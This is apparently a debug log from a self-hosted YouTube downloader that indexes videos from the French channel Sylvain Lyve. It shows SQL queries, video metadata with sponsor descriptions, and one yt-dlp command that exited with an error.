1764868503, "title" => "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "upload_date" => "20251204"} 07:39:16.198 [debug] QUERY OK source="sources" db=1.0ms idle=763.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:16.199 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=765.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:16.202 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=766.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 17:15:03Z], 2] 07:39:16.269 [debug] QUERY OK source="media_items" db=64.8ms queue=0.1ms idle=770.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "88f26310-e962-41b0-b0b6-7e925c080aa9", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", 18, "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, false, false, 2, [], 98, ~U[2025-12-04 17:15:03Z], ~U[2026-04-19 05:39:16Z], ~U[2026-04-19 05:39:16Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, 2, ~U[2025-12-04 17:15:03Z]] 07:39:16.270 [debug] QUERY OK source="sources" db=1.2ms idle=754.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:16.273 [debug] QUERY OK source="media_profiles" db=1.7ms queue=0.1ms idle=73.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:16.274 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=74.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12973] 07:39:16.275 [debug] Current batch of media processed. Will check again in 1000ms 07:39:17.276 [debug] Current batch of media processed. Will check again in 1000ms 07:39:18.286 [debug] Current batch of media processed. Will check again in 1000ms 07:39:19.287 [debug] Current batch of media processed. Will check again in 1000ms 07:39:20.288 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "duration" => 2854, "filename" => "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", "id" => "AWYXijQpxc0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AWYXijQpxc0", "playlist_index" => 19, "timestamp" => 1764263701, "title" => "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "upload_date" => "20251127"} 07:39:20.290 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1382.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:20.293 [debug] QUERY OK source="sources" db=1.5ms queue=0.4ms idle=858.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:20.297 [debug] QUERY OK source="media_items" db=3.1ms queue=0.4ms idle=860.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 17:15:01Z], 2] 07:39:20.304 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=865.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "cd6a9262-81af-43e5-8903-e6ee44069d87", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", 19, "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, false, false, 2, [], 98, ~U[2025-11-27 17:15:01Z], ~U[2026-04-19 05:39:20Z], ~U[2026-04-19 05:39:20Z], "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, 2, ~U[2025-11-27 17:15:01Z]] 07:39:20.305 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=767.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:20.307 [debug] QUERY OK source="media_profiles" db=1.0ms idle=15.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:20.309 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=15.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12176] 07:39:20.309 [debug] Current batch of media processed. Will check again in 1000ms 07:39:21.311 [debug] Current batch of media processed. Will check again in 1000ms 07:39:22.312 [debug] Current batch of media processed. Will check again in 1000ms 07:39:23.314 [debug] Current batch of media processed. Will check again in 1000ms 07:39:23.998 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@sylvainlyve --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Sylvain Lyve/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/9e/47/9e479305f986f802e6b4594f787ff353d590a94a3f8bbf70b85eb907ad5e0db3.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/04/5c/045ce3a9daa40e7bdd949aa5cfaa4643acd103d6120cc46e4bef3009b397bd09.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 07:39:24.000 [debug] Gracefully stopping file follower 07:39:24.001 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=567.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:24.003 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=569.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.005 [debug] QUERY OK source="media_items" db=1.7ms queue=0.4ms idle=570.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-16 16:15:04Z], 2] 07:39:24.074 [debug] QUERY OK source="media_items" db=67.6ms idle=455.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "636a467f-5664-4228-bb6b-fb092b706173", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", 1, "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, false, false, 2, [], 98, ~U[2026-04-16 16:15:04Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, 2, ~U[2026-04-16 16:15:04Z]] 07:39:24.078 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=166.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:24.085 [debug] QUERY OK source="media_items" db=6.4ms queue=0.1ms idle=76.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-09 16:15:00Z], 2] 07:39:24.089 [debug] QUERY OK source="media_items" db=2.7ms idle=82.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "f4dd5fde-2a61-405b-a559-f0960f93f5ce", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", 2, "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, false, false, 2, [], 98, ~U[2026-04-09 16:15:00Z], ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z], "Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette 